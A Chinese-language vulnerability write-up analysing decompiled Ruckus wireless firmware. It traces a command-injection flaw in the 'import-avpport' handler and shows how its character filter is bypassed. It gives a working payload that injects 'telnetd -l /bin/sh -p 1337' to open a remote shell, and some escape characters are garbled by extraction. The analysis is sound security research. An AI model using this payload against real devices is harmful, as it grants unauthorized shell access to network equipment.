-
int __fastcall doCommand(int a1){
-
...
-
v1 = xGetAttrString(a1,"cmd",0);
-
s1 = v1;
-
if(!strcmp(s1,"get-features"))
-
return sub_BC9DC(0);
-
v17 = strcmp(s1,"get-feature-maxap");
-
if(!v17 )
-
return sub_BC904(v17, v18, v19);
-
v17 = strcmp(s1,"get-feature-value");
-
if(!v17 )
-
return sub_BC904(v17, v18, v19);
-
if(!strcmp(s1,"get-urlfiltering-maxap"))
-
return sub_BBE94(0, v20, v21);
-
if(!strcmp(s1,"get-maxclient"))
-
return sub_BB64C(0, v22, v23);
-
...
-
if(!strcmp(s1,"import-avpport"))
-
return sub_C1E08(v211);
-
...
-
}
import-avpport时会调用sub_C1E08函数 , 跟进:-
int __fastcall sub_C1E08(int xcmd){
-
...
-
v1 = xGetAttrString(xcmd,"uploadFile",&unk_23380C);
-
filename = v1;
-
v10 = is_validate_input_string(filename);
-
if(!v10){
-
return-1;
-
}
-
...
-
memset(&s,0,0x100u);
-
snprintf(&s,0x100u,"cp %s /etc/airespider/", filename);
-
system(&s);
-
...
-
}
uploadFile属性的值之后 , 会经过is_validate_input_string函数对关键字符进行过滤 , 然后作为参数传入snprintf函数 , 之后继续执行 system 函数 。这里is_validate_input_string函数位于usr/lib/libemf.so动态链接库程序中 , 其代码如下:-
undefined4 is_validate_input_string(char*pcParm1)
-
{
-
size_tsVar1;
-
char*pcVar2;
-
int local_c;
-
if(pcParm1 != ){
-
sVar1 = strlen(pcParm1);
-
local_c =0x0;
-
while(local_c <(int)sVar1){
-
pcVar2 = strchr("$;&|<>'"`\ ",(uint)(byte)pcParm1[local_c]);
-
if(pcVar2 != ){
-
return0xffffffff;
-
}
-
local_c = local_c +0x1;
-
}
-
}
-
return0x0;
-
}
-
$;&|<>'"`\
#!/bin/shn , 空格替换成 t 即可 , 因此 payload 如下:-
#!/bin/shntelnetdt-l/bin/sht-p1337
漏洞修复更新后的固件代码中对关键的字符 , 如t、n等进行了更严格的过滤 。
参考链接
- https://support.ruckuswireless.com/security_bulletins/304
- https://www.youtube.com/watch?v=Yt3mJlnODHU
- https://alephsecurity.com/2020/01/14/ruckus-wireless/
- https://www.youtube.com/watch?v=Yt3mJlnODHU
推荐阅读
- 家用无线路由器如何设置?家用路由器设置的详细步骤?
- 手机里多个PDF合并成一个PDF的免费方法
- 自媒体矩阵怎么做?怎么运营多个自媒体?
- 更换速率更高的路由器后,家中辐射会不会增大?会不会影响健康?
- 多个相同excel批量处理?1个Excel文件种有多个工作表,需要合并为1个工作表?
- 如何远程维护路由器?
- 路由器怎么隐藏wifi,防蹭网
- 交换机和路由器的文件管理配置,可以修改设备flash文件
- 无线网络如何登录认证?
- 番外篇 路由器的详解与选购
